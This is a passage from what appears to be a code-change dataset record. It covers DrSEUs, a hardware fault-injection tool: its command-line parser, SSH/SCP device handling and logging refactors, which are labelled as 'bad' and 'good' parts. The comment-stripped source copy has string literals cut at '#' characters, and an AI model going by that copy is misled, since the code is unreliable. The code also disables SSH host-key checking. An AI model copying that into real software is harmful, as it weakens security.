dest='selected_targets',\n help='list of targets for injection')\ninject.add_argument('-p', '--processes', action='store', type=int,\n dest='processes', default=1,\n help='number of injections to perform in parallel '\n '(only supported for ZedBoards and Simics)')\ninject_simics = inject.add_argument_group(\n 'Simics campaigns', 'Additional options for Simics campaigns only')\ninject_simics.add_argument('-a', '--compare_all', action='store_true',\n dest='compare_all',\n help='monitor all checkpoints (only last by '\n 'default), IMPORTANT: do NOT use with '\n '\"-p\" or \"--processes\" when using this '\n 'option for the first time in a '\n 'campaign')\ninject.set_defaults(func=utilities.inject_campaign)\n\nsupervise = subparsers.add_parser('supervise', aliases=['s', 'S'],\n help='run interactive supervisor',\n description='run interactive supervisor')\nsupervise.add_argument('-w', '--wireshark', action='store_true', dest='capture',\n help='run remote packet capture')\nsupervise.set_defaults(func=utilities.launch_supervisor)\n\nlog_viewer = subparsers.add_parser('log', aliases=['l'],\n help='start the log web server',\n description='start the log web server')\nlog_viewer.add_argument('-p', '--port', action='store', type=int,\n dest='port', default=8000,\n help='log web server port [default=8000]')\nlog_viewer.set_defaults(func=utilities.view_logs)\n\nzedboards = subparsers.add_parser('zedboards', aliases=['z', 'Z'],\n help='print information about attached '\n 'ZedBoards',\n description='print information about '\n 'attached ZedBoards')\nzedboards.set_defaults(func=utilities.print_zedboard_info)\n\nlist_campaigns = subparsers.add_parser('list', aliases=['L', 'ls'],\n help='list campaigns',\n description='list campaigns')\nlist_campaigns.set_defaults(func=utilities.list_campaigns)\n\ndelete = subparsers.add_parser('delete', aliases=['d', 'D'],\n description='delete results and campaigns',\n help='delete results and campaigns')\ndelete.add_argument('delete', action='store',\n choices=('all', 'results', 'campaign'),\n help='delete {results} for the selected campaign, '\n 'delete selected {campaign} and its results, '\n 'or delete {all} campaigns and results')\ndelete.set_defaults(func=utilities.delete)\n\nmerge = subparsers.add_parser('merge', aliases=['m', 'M'],\n help='merge campaigns',\n description='merge campaigns')\nmerge.add_argument('directory', action='store', metavar='DIRECTORY',\n help='merge campaigns from external directory into the '\n 'local directory')\nmerge.set_defaults(func=utilities.merge_campaigns)\n\nopenocd = subparsers.add_parser('openocd', aliases=['o', 'O'],\n help='launch openocd for DUT '\n '(only supported for ZedBoards)',\n description='launch openocd for DUT '\n '(only supported for ZedBoards)')\nopenocd.set_defaults(func=utilities.launch_openocd)\n\nregenerate = subparsers.add_parser('regenerate', aliases=['r', 'R'],\n help='regenerate injected state and launch '\n 'in Simics (only supported for Simics '\n 'campaigns)',\n description='regenerate injected state and '\n 'launch in Simics (only '\n 'supported for Simics '\n 'campaigns)')\nregenerate.add_argument('result_id', action='store', metavar='RESULT_ID',\n help='result to regenerate')\nregenerate.set_defaults(func=utilities.regenerate)\n\nupdate = subparsers.add_parser('update', aliases=['u', 'U'],\n help='update gold checkpoint dependency paths '\n '(only supported for Simics campaigns)',\n description='update gold checkpoint dependency '\n 'paths (only supported for Simics '\n 'campaigns)')\nupdate.set_defaults(func=utilities.update_dependencies)\n\nbackup = subparsers.add_parser('backup', aliases=['b', 'B'],\n help='backup the results database',\n description='backup the results database')\nbackup.set_defaults(func=utilities.backup_database)\n\noptions = parser.parse_args()\nif options.command is None:\n parser.print_help()\nelse:\n if options.command != 'new':\n if not options.campaign_id:\n options.campaign_id = utilities.get_last_campaign()\n if options.campaign_id:\n options.architecture = \\\n utilities.get_campaign_data(options.campaign_id)['architecture']\n if options.command == 'new' or options.campaign_id:\n if options.architecture == 'p2020':\n if options.dut_serial_port is None:\n options.dut_serial_port = '/dev/ttyUSB1'\n if options.dut_prompt is None:\n options.dut_prompt = 'root@p2020rdb:~#'\n if options.aux_serial_port is None:\n options.aux_serial_port = '/dev/ttyUSB0'\n if options.aux_prompt is None:\n options.aux_prompt = 'root@p2020rdb:~#'\n elif options.architecture == 'a9':\n if options.dut_serial_port is None:\n options.dut_serial_port = '/dev/ttyACM0'\n if options.dut_prompt is None:\n options.dut_prompt = '[root@ZED]#'\n if options.aux_serial_port is None:\n options.aux_serial_port = '/dev/ttyACM1'\n if options.aux_prompt is None:\n options.aux_prompt = '[root@ZED]#'\n if options.command == 'new' and options.arguments:\n options.arguments = ' '.join(options.arguments)\n options.func(options)\n"}, "/dut.py": {"changes": [{"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SSH error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SSH error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SCP error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SCP error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n", "add": 3, "remove": 3, "filename": "/dut.py", "badparts": [" db.log_event_exception(", " 'SSH error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" db.log_event_trace(", " 'SSH error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n- except:\n+ except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n", "add": 4, "remove": 4, "filename": "/dut.py", "badparts": [" except:", " db.log_event_exception(", " 'SCP error')", " self.serial.port+' '+str(self.result_data['id'])+': '"], "goodparts": [" except Exception as error:", " db.log_event_trace(", " 'SCP error', exception=True)", " self.serial.port+', '+str(self.result_data['id'])+': '"]}, {"diff": "\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n+ hanging = False\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n+ hanging = True\n if self.options.command != 'new':\n with sql() as db:\n- event_buff = buff.replace(event_buff_logged, '')\n- db.log_event(self.result_data['id'],\n- ('DUT' if not self.aux else 'AUX'),\n- 'Read timeout', event_buff)\n- event_buff_logged += event_buff\n+ db.log_event_trace(\n+ self.result_data['id'],\n+ ('DUT' if not self.aux else 'AUX'),\n+ 'Read timeout')\n if not continuous:\n break\n if self.options.command == 'new':\n", "add": 6, "remove": 5, "filename": "/dut.py", "badparts": [" event_buff = buff.replace(event_buff_logged, '')", " db.log_event(self.result_data['id'],", " ('DUT' if not self.aux else 'AUX'),", " 'Read timeout', event_buff)", " event_buff_logged += event_buff"], "goodparts": [" hanging = False", " hanging = True", " db.log_event_trace(", " self.result_data['id'],", " ('DUT' if not self.aux else 'AUX'),", " 'Read timeout')"]}], "source": "\nfrom paramiko import AutoAddPolicy, SSHClient from scp import SCPClient from serial import Serial import sys from termcolor import colored from time import sleep from error import DrSEUsError from sql import sql class dut(object): error_messages=[ ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'), ('drseus_sighandler: SIGILL', 'Signal SIGILL'), ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'), ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'), ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'), ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'), ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'), ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'), ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'), ('command not found', 'Invalid command'), ('No such file or directory', 'Missing file'), ('panic', 'Kernel error'), ('Oops', 'Kernel error'), ('Segmentation fault', 'Segmentation fault'), ('Illegal instruction', 'Illegal instruction'), ('Call Trace:', 'Kernel error'), ('detected stalls on CPU', 'Stall detected'), ('malloc(), memory corruption', 'Kernel error'), ('Bad swap file entry', 'Kernel error'), ('Unable to handle kernel paging request', 'Kernel error'), ('Alignment trap', 'Kernel error'), ('Unhandled fault', 'Kernel error'), ('free(), invalid next size', 'Kernel error'), ('double free or corruption', 'Kernel error'), ('????????', '????????'), ('Hit any key to stop autoboot:', 'Reboot'), ('can\\'t get kernel image', 'Error booting')] def __init__(self, campaign_data, result_data, options, rsakey, aux=False): self.campaign_data=campaign_data self.result_data=result_data self.options=options self.aux=aux self.uboot_command=self.options.dut_uboot if not self.aux \\ else self.options.aux_uboot serial_port=(options.dut_serial_port if not aux else options.aux_serial_port) baud_rate=(options.dut_baud_rate if not aux else options.aux_baud_rate) self.serial=Serial(port=None, baudrate=baud_rate, timeout=options.timeout, rtscts=True) if self.campaign_data['use_simics']: self.serial._dsrdtr=True self.serial.port=serial_port self.serial.open() self.serial.reset_input_buffer() self.prompt=options.dut_prompt if not aux else options.aux_prompt self.prompt +=' ' self.rsakey=rsakey def __str__(self): string=('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' + str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' + self.prompt+'\\\"') try: string +='\\n\\tIP Address: '+self.ip_address except AttributeError: pass string +='\\n\\tSCP Port: '+str(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port) return string def close(self): self.serial.close() def send_files(self, files, attempts=10): if self.options.debug: print(colored('sending file(s)...', 'blue'), end='') ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port), username='root', pkey=self.rsakey, allow_agent=False, look_for_keys=False) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SSH error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error sending file(s)(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.put(files) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SCP error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error sending file(s)(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) break def get_file(self, file_, local_path='', attempts=10): if self.options.debug: print(colored('getting file...', 'blue'), end='') sys.stdout.flush() ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=(self.options.dut_scp_port if not self.aux else self.options.aux_scp_port), username='root', pkey=self.rsakey, allow_agent=False, look_for_keys=False) except Exception as error: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SSH error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error receiving file(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.get(file_, local_path=local_path) except: if self.options.command !='new': with sql() as db: db.log_event_exception( self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'SCP error') print(colored( self.serial.port+' '+str(self.result_data['id'])+': ' 'error receiving file(attempt '+str(attempt+1)+'/' + str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) break def write(self, string): self.serial.write(bytes(string, encoding='utf-8')) def read_until(self, string=None, continuous=False, boot=False): if string is None: string=self.prompt buff='' event_buff='' event_buff_logged='' errors=0 while True: char=self.serial.read().decode('utf-8', 'replace') if not char: if self.options.command !='new': with sql() as db: event_buff=buff.replace(event_buff_logged, '') db.log_event(self.result_data['id'], ('DUT' if not self.aux else 'AUX'), 'Read timeout', event_buff) event_buff_logged +=event_buff if not continuous: break if self.options.command=='new': self.campaign_data['dut_output' if not self.aux else 'aux_output'] +=char else: self.result_data['dut_output' if not self.aux else 'aux_output'] +=char if self.options.debug: print(colored(char, 'green' if not self.aux else 'cyan'), end='') sys.stdout.flush() buff +=char if not continuous and buff[-len(string):]==string: break elif buff[-len('autoboot: '):]=='autoboot: ' and \\ self.uboot_command: self.write('\\n') self.write(self.uboot_command+'\\n') elif buff[-len('login: '):]=='login: ': self.write(self.options.username+'\\n') elif buff[-len('Password: '):]=='Password: ': self.write(self.options.password+'\\n') elif buff[-len('can\\'t get kernel image'):]==\\ 'can\\'t get kernel image': self.write('reset\\n') errors +=1 for message, category in self.error_messages: if buff[-len(message):]==message: if not continuous and not boot: self.serial.timeout=30 errors +=1 if self.options.command !='new' and not(boot): with sql() as db: event_buff=buff.replace(event_buff_logged, '') db.log_event(self.result_data['id'], ('DUT' if not self.aux else 'AUX'), category, event_buff) event_buff_logged +=event_buff if not continuous and errors > 10: break if not boot and buff and buff[-1]=='\\n': with sql() as db: if self.options.command=='new': db.update_dict('campaign', self.campaign_data) else: db.update_dict('result', self.result_data) if self.serial.timeout !=self.options.timeout: self.serial.timeout=self.options.timeout if self.options.debug: print() with sql() as db: if self.options.command=='new': db.update_dict('campaign', self.campaign_data) else: db.update_dict('result', self.result_data) if errors and not boot: for message, category in self.error_messages: if message in buff: raise DrSEUsError(category) return buff def command(self, command=''): self.write(command+'\\n') return self.read_until() def do_login(self, ip_address=None, change_prompt=False, simics=False): self.write('\\n') self.read_until(boot=True) if change_prompt: self.write('export PS1=\\\"DrSEUs self.read_until('export PS1=\\\"DrSEUs self.prompt='DrSEUs self.read_until() self.command('mkdir ~/.ssh') self.command('touch ~/.ssh/authorized_keys') self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() + '\\\" > ~/.ssh/authorized_keys') if ip_address is None: attempts=10 for attempt in range(attempts): for line in self.command('ip addr show').split('\\n'): line=line.strip().split() if len(line) > 0 and line[0]=='inet': addr=line[1].split('/')[0] if addr !='127.0.0.1': ip_address=addr break else: if attempt < attempts-1: sleep(5) else: raise DrSEUsError('Error finding device ip address') if ip_address is not None: break else: self.command('ip addr add '+ip_address+'/24 dev eth0') self.command('ip link set eth0 up') self.command('ip addr show') if simics: self.ip_address='127.0.0.1' else: self.ip_address=ip_address ", "sourceWithComments": "from paramiko import AutoAddPolicy, SSHClient\nfrom scp import SCPClient\nfrom serial import Serial\nimport sys\nfrom termcolor import colored\nfrom time import sleep\n\nfrom error import DrSEUsError\nfrom sql import sql\n\n\nclass dut(object):\n error_messages = [\n ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'),\n ('drseus_sighandler: SIGILL', 'Signal SIGILL'),\n ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'),\n ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'),\n ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'),\n ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'),\n ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'),\n ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'),\n ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'),\n ('command not found', 'Invalid command'),\n ('No such file or directory', 'Missing file'),\n ('panic', 'Kernel error'),\n ('Oops', 'Kernel error'),\n ('Segmentation fault', 'Segmentation fault'),\n ('Illegal instruction', 'Illegal instruction'),\n ('Call Trace:', 'Kernel error'),\n ('detected stalls on CPU', 'Stall detected'),\n ('malloc(), memory corruption', 'Kernel error'),\n ('Bad swap file entry', 'Kernel error'),\n ('Unable to handle kernel paging request', 'Kernel error'),\n ('Alignment trap', 'Kernel error'),\n ('Unhandled fault', 'Kernel error'),\n ('free(), invalid next size', 'Kernel error'),\n ('double free or corruption', 'Kernel error'),\n ('????????', '????????'),\n ('Hit any key to stop autoboot:', 'Reboot'),\n ('can\\'t get kernel image', 'Error booting')]\n\n def __init__(self, campaign_data, result_data, options, rsakey, aux=False):\n self.campaign_data = campaign_data\n self.result_data = result_data\n self.options = options\n self.aux = aux\n self.uboot_command = self.options.dut_uboot if not self.aux \\\n else self.options.aux_uboot\n serial_port = (options.dut_serial_port if not aux\n else options.aux_serial_port)\n baud_rate = (options.dut_baud_rate if not aux\n else options.aux_baud_rate)\n self.serial = Serial(port=None, baudrate=baud_rate,\n timeout=options.timeout, rtscts=True)\n if self.campaign_data['use_simics']:\n # workaround for pyserial 3\n self.serial._dsrdtr = True\n self.serial.port = serial_port\n self.serial.open()\n self.serial.reset_input_buffer()\n self.prompt = options.dut_prompt if not aux else options.aux_prompt\n self.prompt += ' '\n self.rsakey = rsakey\n\n def __str__(self):\n string = ('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' +\n str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' +\n self.prompt+'\\\"')\n try:\n string += '\\n\\tIP Address: '+self.ip_address\n except AttributeError:\n pass\n string += '\\n\\tSCP Port: '+str(self.options.dut_scp_port if not self.aux\n else self.options.aux_scp_port)\n return string\n\n def close(self):\n self.serial.close()\n\n def send_files(self, files, attempts=10):\n if self.options.debug:\n print(colored('sending file(s)...', 'blue'), end='')\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=(self.options.dut_scp_port\n if not self.aux else\n self.options.aux_scp_port),\n username='root', pkey=self.rsakey,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SSH error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.put(files)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SCP error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n break\n\n def get_file(self, file_, local_path='', attempts=10):\n if self.options.debug:\n print(colored('getting file...', 'blue'), end='')\n sys.stdout.flush()\n ssh = SSHClient()\n ssh.set_missing_host_key_policy(AutoAddPolicy())\n for attempt in range(attempts):\n try:\n ssh.connect(self.ip_address, port=(self.options.dut_scp_port\n if not self.aux else\n self.options.aux_scp_port),\n username='root', pkey=self.rsakey,\n allow_agent=False, look_for_keys=False)\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SSH error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n except:\n if self.options.command != 'new':\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'SCP error')\n print(colored(\n self.serial.port+' '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n ssh.close()\n if attempt < attempts-1:\n sleep(30)\n else:\n raise DrSEUsError(DrSEUsError.scp_error)\n else:\n dut_scp.close()\n ssh.close()\n if self.options.debug:\n print(colored('done', 'blue'))\n break\n\n def write(self, string):\n self.serial.write(bytes(string, encoding='utf-8'))\n\n def read_until(self, string=None, continuous=False, boot=False):\n if string is None:\n string = self.prompt\n buff = ''\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n if self.options.command != 'new':\n with sql() as db:\n event_buff = buff.replace(event_buff_logged, '')\n db.log_event(self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n 'Read timeout', event_buff)\n event_buff_logged += event_buff\n if not continuous:\n break\n if self.options.command == 'new':\n self.campaign_data['dut_output' if not self.aux\n else 'aux_output'] += char\n else:\n self.result_data['dut_output' if not self.aux\n else 'aux_output'] += char\n if self.options.debug:\n print(colored(char, 'green' if not self.aux else 'cyan'),\n end='')\n sys.stdout.flush()\n buff += char\n if not continuous and buff[-len(string):] == string:\n break\n elif buff[-len('autoboot: '):] == 'autoboot: ' and \\\n self.uboot_command:\n self.write('\\n')\n self.write(self.uboot_command+'\\n')\n elif buff[-len('login: '):] == 'login: ':\n self.write(self.options.username+'\\n')\n elif buff[-len('Password: '):] == 'Password: ':\n self.write(self.options.password+'\\n')\n elif buff[-len('can\\'t get kernel image'):] == \\\n 'can\\'t get kernel image':\n self.write('reset\\n')\n errors += 1\n for message, category in self.error_messages:\n if buff[-len(message):] == message:\n if not continuous and not boot:\n self.serial.timeout = 30\n errors += 1\n if self.options.command != 'new' and not (boot):\n # boot and category == 'Reboot'):\n with sql() as db:\n event_buff = buff.replace(event_buff_logged, '')\n db.log_event(self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n category, event_buff)\n event_buff_logged += event_buff\n if not continuous and errors > 10:\n break\n if not boot and buff and buff[-1] == '\\n':\n with sql() as db:\n if self.options.command == 'new':\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n if self.serial.timeout != self.options.timeout:\n self.serial.timeout = self.options.timeout\n if self.options.debug:\n print()\n with sql() as db:\n if self.options.command == 'new':\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n if errors and not boot:\n for message, category in self.error_messages:\n if message in buff:\n raise DrSEUsError(category)\n return buff\n\n def command(self, command=''):\n self.write(command+'\\n')\n return self.read_until()\n\n def do_login(self, ip_address=None, change_prompt=False, simics=False):\n # try:\n self.write('\\n')\n self.read_until(boot=True)\n # except DrSEUsError as error:\n # if error.type == 'Reboot':\n # pass\n # else:\n # raise DrSEUsError(error.type)\n if change_prompt:\n self.write('export PS1=\\\"DrSEUs# \\\"\\n')\n self.read_until('export PS1=\\\"DrSEUs# \\\"')\n self.prompt = 'DrSEUs# '\n self.read_until()\n self.command('mkdir ~/.ssh')\n self.command('touch ~/.ssh/authorized_keys')\n self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() +\n '\\\" > ~/.ssh/authorized_keys')\n if ip_address is None:\n attempts = 10\n for attempt in range(attempts):\n for line in self.command('ip addr show').split('\\n'):\n line = line.strip().split()\n if len(line) > 0 and line[0] == 'inet':\n addr = line[1].split('/')[0]\n if addr != '127.0.0.1':\n ip_address = addr\n break\n else:\n if attempt < attempts-1:\n sleep(5)\n else:\n raise DrSEUsError('Error finding device ip address')\n if ip_address is not None:\n break\n else:\n self.command('ip addr add '+ip_address+'/24 dev eth0')\n self.command('ip link set eth0 up')\n self.command('ip addr show')\n if simics:\n self.ip_address = '127.0.0.1'\n else:\n self.ip_address = ip_address\n"}, "/fault_injector.py": {"changes": [{"diff": "\n return outcome, outcome_category\n \n def log_result(self):\n- out = ''\n- try:\n- out += self.debugger.dut.serial.port+' '\n- except AttributeError:\n- pass\n- out += (str(self.result_data['id'])+': ' +\n- self.result_data['outcome_category']+' - ' +\n- self.result_data['outcome'])\n+ out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +\n+ ': '+self.result_data['outcome_category']+' - ' +\n+ self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n", "add": 3, "remove": 8, "filename": "/fault_injector.py", "badparts": [" out = ''", " try:", " out += self.debugger.dut.serial.port+' '", " except AttributeError:", " pass", " out += (str(self.result_data['id'])+': ' +", " self.result_data['outcome_category']+' - ' +", " self.result_data['outcome'])"], "goodparts": [" out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +", " ': '+self.result_data['outcome_category']+' - ' +", " self.result_data['outcome'])"]}, {"diff": "\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n- 'Error resetting DUT')\n+ 'Error resetting DUT', exception=True)\n print(colored(\n- self.debugger.dut.serial.port+' ' +\n+ self.debugger.dut.serial.port+', ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'", "add": 3, "remove": 3, "filename": "/fault_injector.py", "badparts": [" db.log_event_exception(", " 'Error resetting DUT')", " self.debugger.dut.serial.port+' ' +"], "goodparts": [" db.log_event_trace(", " 'Error resetting DUT', exception=True)", " self.debugger.dut.serial.port+', ' +"]}], "source": "\nfrom difflib import SequenceMatcher import os from paramiko import RSAKey from shutil import copy, rmtree from subprocess import PIPE, Popen from termcolor import colored from threading import Thread from time import sleep from error import DrSEUsError from jtag import bdi_p2020, openocd from simics import simics from sql import sql class fault_injector(object): def __init__(self, campaign_data, options): self.campaign_data=campaign_data self.options=options self.result_data={'campaign_id': self.campaign_data['id'], 'aux_output': '', 'data_diff': None, 'debugger_output': '', 'detected_errors': None, 'dut_output': ''} if os.path.exists( 'campaign-data/'+str(campaign_data['id'])+'/private.key'): self.rsakey=RSAKey.from_private_key_file( 'campaign-data/'+str(campaign_data['id'])+'/private.key') else: self.rsakey=RSAKey.generate(1024) self.rsakey.write_private_key_file( 'campaign-data/'+str(campaign_data['id'])+'/private.key') if self.campaign_data['use_simics']: self.debugger=simics(campaign_data, self.result_data, options, self.rsakey) else: if campaign_data['architecture']=='p2020': self.debugger=bdi_p2020(campaign_data, self.result_data, options, self.rsakey) elif campaign_data['architecture']=='a9': self.debugger=openocd(campaign_data, self.result_data, options, self.rsakey) if not self.campaign_data['use_simics']: if self.campaign_data['use_aux']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.do_login() if options.command !='new': self.send_dut_files(aux=True) if options.command=='new': self.debugger.reset_dut() def __str__(self): string=('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) + '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t')) if self.campaign_data['use_aux']: string +='\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t', '\\n\\t\\t') string +=('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' + str(self.campaign_data['id'])+'\\n\\t\\tDUT Command: \\\"' + self.campaign_data['command']+'\\\"') if self.campaign_data['use_aux']: string +=('\\n\\t\\tAUX Command: \\\"' + self.campaign_data['aux_command']+'\\\"') string +=('\\n\\t\\t' + ('Host 'if self.campaign_data['use_simics'] else '') + 'Execution Time: ' + str(self.campaign_data['exec_time'])+' seconds') if self.campaign_data['use_simics']: string +=('\\n\\t\\tExecution Cycles: ' + '{:,}'.format(self.campaign_data['num_cycles']) + ' cycles\\n\\t\\tSimulated Time: ' + str(self.campaign_data['sim_time'])+' seconds') return string def close(self): if not self.campaign_data['use_simics']: self.debugger.close() def setup_campaign(self): files=[] files.append(self.options.directory+'/'+self.options.application) if self.options.files: for file_ in self.options.files: files.append(self.options.directory+'/'+file_) os.makedirs('campaign-data/'+str(self.campaign_data['id'])+'/dut-files') for item in files: copy(item, 'campaign-data/'+str(self.campaign_data['id']) + '/dut-files/') if self.campaign_data['use_aux']: aux_files=[] 